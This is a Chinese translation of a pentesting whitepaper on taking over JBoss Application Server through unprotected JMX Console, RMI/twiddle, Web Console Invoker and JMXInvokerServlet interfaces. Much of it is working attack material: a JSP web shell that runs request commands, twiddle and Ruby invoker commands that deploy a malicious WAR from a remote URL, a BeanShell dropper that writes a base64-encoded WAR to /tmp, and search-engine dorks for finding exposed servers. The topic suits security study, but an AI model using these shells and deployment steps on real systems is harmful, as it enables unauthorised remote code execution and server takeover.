JBoss應用服務器(JBoss AS)是一個被廣泛使用的開源Java應用服務器。
它是JBoss企業中間件(JEMS)的一部分,并且經常在大型企業中使用。
因為這個軟件是高度模塊化和松耦合的,導致了它很很復雜,同時也使它易成為攻擊者的目標。
本文從攻擊者的角度來看,指出JBoss應用服務器存在的潛在風險,并結合例子如何實現如何在JBoss應用服務器上執行任意代碼。
JBoss應用服務器基于Java企業版1.4,并可以在應用在非常多操作系統中,包括Linux,FreeBSD和Windows中,只要操作系統中安裝了Java虛擬機。
JBoss應用服務架構
Java管理擴展(JMX)是一個監控管理Java應用程序的標準化架構,JMX分為三層:
JMX架構
設備層(Instrumentation Level):主要定義了信息模型。在JMX中,各種管理對象以管理構件的形式存在,需要管理時,向MBean服務器進行注冊。該層還定義了通知機制以及一些輔助元數據類。
代理層(Agent Level):主要定義了各種服務以及通信模型。該層的核心是一個MBean服務器,所有的管理構件都需要向它注冊,才能被管理。注冊在MBean服務器上管理構件并不直接和遠程應用程序進行通信,它們通過協議適配器和連接器進行通信。而協議適配器和連接器也以管理構件的形式向MBean服務器注冊才能提供相應的服務。
分布服務層(Distributed Service Level):主要定義了能對代理層進行操作的管理接口和構件,這樣管理者就可以操作代理。然而,當前的JMX規范并沒有給出這一層的具體規范。
Invokers允許客戶端應用程序發送任意協議的JMX請求到服務端。
這些調用都用過MBean服務器發送到響應的MBean服務。
傳輸機制都是透明的,并且可以使用任意的協議如:HTTP,SOAP2或JRMP3。
攻擊者對JBoss應用服務器中的Deployers模塊特別感興趣。
他們被用來部署不同的組成部分。
本文當中重點要將的安裝組件:
JAR(Java ARchives):JAR 文件格式以流行的 ZIP 文件格式為基礎。與 ZIP 文件不同的是,JAR 文件不僅用于壓縮和發布,而且還用于部署和封裝庫、組件和插件程序,并可被像編譯器和 JVM 這樣的工具直接使用。在 JAR 中包含特殊的文件,如 manifests 和部署描述符,用來指示工具如何處理特定的 JAR。
WAR(Web ARchives):WAR文件是JAR文件包含一個Web應用程序的組件,與Java ServerPages(JSP),Java類,靜態web頁面等類似。
BSH(BeanSHell scripts):BeanShell是Java腳本語言,BeanShell腳本使用Java語法,運行在JRE上。
最重要的JBoss應用服務器deployer是MainDeployer。它是部署組件的主要入口點。
傳遞給MainDeployer的部署組件的路徑是一個URL形式:
org.jboss.deployment.MainDeployer.deploy(String urlspec)
MainDeployer會下載對象,并決定使用什么樣的SubDeployer轉發。
根據組件的類型,SubDeployer(例如:JarDeployer,SarDeployer等)接受對象進行安裝。
為了方便部署,可以使用UrlDeploymentScanner,它同樣獲取一個URL作為參數:
org.jboss.deployment.scanner.URLDeploymentScanner.addURL(String urlspec)
傳入的URL會被定期的檢查是否有新的安裝或更改。
這就是JBoss應用服務器如何實現熱部署的,有新的或者更改的組件會被自動的部署。
最簡單的在JBoss應用服務器上運行自己的代碼是部署一個組件,JBoss可以通過HTTP安裝組件。
WAR文件包需要在WEB-INF目錄下含一個web.xml文件,在實際的應用程序代碼目錄之外。
這是一個描述文件,描述了在什么URL將在之后的應用程序中發現。
WAR文件可以用Java的SDK jar命令創建:
$ jar cvf redteam.war WEB-INF redteam.jsp
redteam.war的結構目錄:
|-- META-INF
| -- MANIFEST.MF
|-- WEB-INF
| -- web.xml
-- redteam.jsp
META-INF/MANIFEST.MF是用jar創建文件時自動創建的,包含JAR的信息,例如:應用程序的主入口點(需要調用的類)或者需要什么額外的類。這里生成的文件中沒有什么特別的信息,僅包含一些基本信息:
Manifest-Version: 1.0
Created-By: 1.6.0_10 (Sun Microsystems Inc.)
WEB-INF/web.xml文件必須手動創建,它包含有關Web應用程序的信息,例如JSP文件,或者更詳細的應用描述信息,如果發生錯誤,使用什么圖標顯示或者錯誤頁面的名稱等
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>RedTeam Shell</servlet-name>
<jsp-file>/redteam.jsp</jsp-file>
</servlet>
</web-app>
redteam的內容:
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
String cmd = request.getParameter("cmd");
Process p = Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
} }
%>
HTTP請求:
/redteam.jsp?cmd=ls
將會列出當前目錄所有文件,命令執行后的結果會通過如下代碼返回來:
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
JMX控制臺允許通過web瀏覽器與JBoss應用服務器直接互動的組件。
它可以方便的管理JBoss服務器,MBean的屬性與方法可以直接調用,只要參數中沒有復雜的參數類型。
JMX控制臺默認界面
這個通常是攻擊者第一個目標。
Server- 和ServerInfo-MBean
jboss.system:type=Server
jboss.system:type=ServerInfo
展現了JBoss應用服務器與主機系統的信息,包含Java虛擬機以及操作系統的類型版本信息。
MBean的屬性
JMX控制臺對MBeans可讀可操作,不僅包含JBoss應用服務器本身的信息,同時包含主機信息,這些有助于進一步攻擊。
MBean的shutdown()方法可以關閉JBoss應用服務器,未授權的JMX接口可以導致拒絕服務攻擊。
MainDeployer的方法屬性可以在JMX控制臺中的jboss.system中調用。
deploy()方法可以由一個URL中一個參數調用,URL指向WAR文件,需要是服務器能夠訪問到的地址。
當invoke按鈕被點擊時,JBoss應用服務器會下載WAR文件并安裝它,之后,就可以執行shell命令了
deploy()方法
JBoss應用程序執行ls -l命令
通常JMX控制臺保護方法是加一個密碼保護。
然而這不是訪問JBoss應用服務器組件的唯一方式,JBoss應用服務器經常與客戶端程序接口相互調用,Java遠程方法調用(RMI)也發揮重要作用。
使用RMI,本地應用程序可以訪問遠程對象,并可以調用它們的方法。客戶端與服務器之間的通信是透明的。
JNDI(Java Naming and Directory Interface)是一個應用程序設計的API,為開發人員提供了查找和訪問各種命名和目錄服務的通用、統一的接口,類似JDBC都是構建在抽象層上。
JNDI可訪問的現有的目錄及服務有:
DNS、XNam 、Novell目錄服務、LDAP(Lightweight Directory Access Protocol輕型目錄訪問協議)、 CORBA對象服務、文件系統、Windows XP/2000/NT/Me/9x的注冊表、RMI、DSML v1&v2、NIS。
RMI接口默認凱奇在端口4444上,JNDI接口默認開啟在1098和1099上。
與JBoss應用服務器RMI通信,可以使用專門的Java程序。更簡單的方式是使用twiddle,包括JBoss應用服務器的安裝。
$ sh jboss-4.2.3.GA/bin/twiddle.sh -h
A JMX client to ’twiddle’ with a remote JBoss server.
usage: twiddle.sh [options] <command> [command_arguments]
options:
-h, --help Show this help message
--help-commands Show a list of commands
-H=<command> Show command specific help
-c=command.properties Specify the command.properties file to use
-D<name>[=<value>] Set a system property
-- Stop procession options
-s, --server=<url> The JNDI URL of the remote server
-a, --adapter=<name> The JNDI name of the RMI adapter to user
-u, --user=<name> Specify the username for authentication
-p, --password=<name> Specify the password for authentication
-q, --quiet Be somewhat more quiet
有了twiddle,就用可用命令行通過RMI調用JBoss應用服務器的MBeans。Windows下是twiddle.bat,Linux下是twiddle.sh來啟動twiddle。類似于JMX控制臺,MBEAN的屬性可讀可改,并且可以調用其方法。
顯示MBean服務器的信息
$ ./twiddle.sh -s scribus get jboss.system:type=ServerInfo
ActiveThreadCount=50
AvailableProcessors=1
OSArch=amd64
MaxMemory=518979584
HostAddress=127.0.1.1
JavaVersion=1.6.0_06
OSVersion=2.6.24-19-server
JavaVendor=Sun Microsystems Inc.
TotalMemory=129957888
ActiveThreadGroupCount=7
OSName=Linux
FreeMemory=72958384
HostName=scribus
JavaVMVersion=10.0-b22
JavaVMVendor=Sun Microsystems Inc.
JavaVMName=Java HotSpot(TM) 64-Bit Server VM
根據twiddle的幫助利用deploy()方法安裝war文件。
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy http://www.redteam-pentesting.de/redteam.war
通過下面的URL訪問shell:
http://scribus:8080/redteam/redteam-shell.jsp
利用RMI攻擊需要JBoss應用服務器能夠訪問遠程HTTP服務器。
然而在很多配置中,防火墻不允許JBoss服務器對外發出連接請求:
為了能夠在JBoss服務器上安裝redteam.war,這個文件需要放在本地。
雖然JBoss不允許直接直接上傳文件,但是有BeanShellDeployer,我們可以在遠程服務器上創建任意文件。
BeanShell是一種運行在JRE上的腳本語言,該語言支持常規的Java語法。可以很快寫完,并且不需要編譯。
JBoss服務器中BSHDeployer可以部署BeanShell腳本,它會安裝后自動執行。
利用BSHDeployer安裝的方法是:
createScriptDeployment(String bshScript, String scriptName)
可以用下面的BeanShell腳本實現把redteam.war放到JBoss服務器上。
import java.io.FileOutputStream;
import sun.misc.BASE64Decoder;
// Base64 encoded redteam.war
String val = "UEsDBBQACA[...]AAAAA";
BASE64Decoder decoder = new BASE64Decoder();
byte[] byteval = decoder.decodeBuffer(val);
FileOutputStream fs = new FileOutputStream("/tmp/redteam.war");
fs.write(byteval);
fs.close();
變量val中是redteam.war文件的base64編碼后的字符串,腳本在tmp目錄下生成redteam.war文件,Windows中可以填寫C:WINDOWSTEMP。
利用twiddle,可以使用DSHDeployer的createScriptDeployement()方法:
$ ./twiddle.sh -s scribus invoke jboss.deployer:service=BSHDeployer createScriptDeployment "‘cat redteam.bsh‘" redteam.bsh
tedteam.bsh包含上面的BeanShell腳本,調用成功后JBoss服務器返回BeanShell創建的臨時文件地址:
file:/tmp/redteam.bsh55918.bsh
當BeanShell腳本執行部署后,會創建/tmp/redteam.war文件,現在就可以通過調用本地文件來部署了:
$ ./twiddle.sh -s scribus invoke jboss.system:service=MainDeployer deploy file:/tmp/redteam.war
之后就可以訪問redteam-shell.jsp來執行命令了。
通過JMX控制臺與RMI來控制JBoss服務器是最常用的方法。
除了這些還有更隱蔽的接口,其中之一就是Web控制臺中使用JMXInvoker。
Web控制臺與JMX控制臺類似,也可以通過瀏覽器訪問。
Web控制臺的默認界面:
如果JMX控制臺有密碼保護的話,是不可以通過Web控制臺訪問MBean的函數的,需要登陸后才能訪問。
Web控制臺除了可以看到組建的梳妝接口與JBoss服務器信息外,還可監視MBean屬性的實時變化。
訪問URL:
http://$hostname/web-console/Invoker
這個Invoker其實就是JMX Invoker,而不局限于Web控制臺提供的功能。
默認情況下,訪問是不受限制的,所以攻擊者可以用它來發送任意的JMX命令到JBoss服務器。
用Web控制臺的Invoker安裝redteam.war文件。
webconsole_invoker.rb可以直接調用Web控制的JMX Invoker,使用的Java類是:org.jboss.console.remote.Util
Util.class文件屬于JBoss服務器的JAR文件:console-mgr-classes.jar,它提供的方法:
public static Object invoke(
java.net.URL externalURL,
RemoteMBeanInvocation mi)
public static Object getAttribute(
java.net.URL externalURL,
RemoteMBeanAttributeInvocation mi)
通過Web控制臺Invoker可以讀取MBean的屬性與invoke方法。
這個類可以通過webconsole_invoker.rb腳本使用,使用方法如下:
$ ./webconsole_invoker.rb -h
Usage: ./webconsole_invoker.rb [options] MBean
?-u, --url URL The Invoker URL to use (default:http://localhost:8080/web-console/Invoker)
-a, --get-attr ATTR Read an attribute of an MBean
-i, --invoke METHOD invoke an MBean method
-p, --invoke-params PARAMS MBean method params
-s, --invoke-sigs SIGS MBean method signature
-t, --test Test the script with the ServerInfo MBean
-h, --help Show this help
Example usage:
./webconsole_invoker.rb -a OSVersion jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listThreadDump jboss.system:type=ServerInfo
./webconsole_invoker.rb -i listMemoryPools -p true -s boolean jboss.system:type=ServerInfo
通過如下命令利用BSHDeployer來安裝redteam.war文件。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i createScriptDeployment -s "java.lang.String","java.lang.String" -p "`cat redteam.bsh`",redteam.bsh jboss.deployer:service=BSHDeployer
在遠程服務器上創建一個本地的redteam.war文件,現在第二部就可以利用MainDeployer安裝/tmp/redteam.war文件了。
$ ./webconsole_invoker.rb -u http://scribus:8080/web-console/Invoker -i deploy -s "java.lang.String" -p "file:/tmp/redteam.war" jboss.system:service=MainDeployer
redteam-shell.jsp又可以訪問了。
之前提到過JBoss服務器允許任何協議訪問MBean服務器,對于HTTP,JBoss提供HttpAdaptor。
默認安裝中,HttpAdaptor是沒有啟用的,但是HttpAdaptor的JMX Invoker可以通過URL直接訪問。
http://$hostname/invoker/JMXInvokerServlet
這個接口接受HTTP POST請求后,轉發到MBean,因此與Web控制臺Invoker類似,JMXInvokerServlet也可以發送任意的JMX調用到JBoss服務器。
JMXInvokerServlet的調用與Web控制臺Invoker不兼容,所以不能使用webconsole_invoker.rb腳本調用。
MarshalledInvocation對象通常只在內部JBoss服務器上做交流。
httpinvoker.rb腳本與webconsole_invoker.rb腳本類似,但是需要JBoss服務器激活HttpAdaptor
$ ./httpinvoker.rb -h
Usage: ./httpinvoker.rb [options] MBean
?-j, --jndi URL The JNDI URL to use (default:http://localhost:8080/invoker/JNDIFactory)
-p, --adaptor URL The Adaptor URL to use (default:jmx/invoker/HttpAdaptor)
-a, --get-attr ATTR Read an attribute of an MBean
-i, --invoke METHOD invoke an MBe an method
--invoke-params PARAMS MBean method params
-s, --invoke-sigs SIGS MBean method signature
-t, --test Test the script with the ServerInfo MBean
-h, --help Show this help
與webconsole_invoker.rb安裝類似。
尋找JBoss服務器的方法:
inurl:"jmx-console/HtmlAdaptor"
intitle:"Welcome to JBoss"
From: Whitepaper_Whos-the-JBoss-now_RedTeam-Pentesting_EN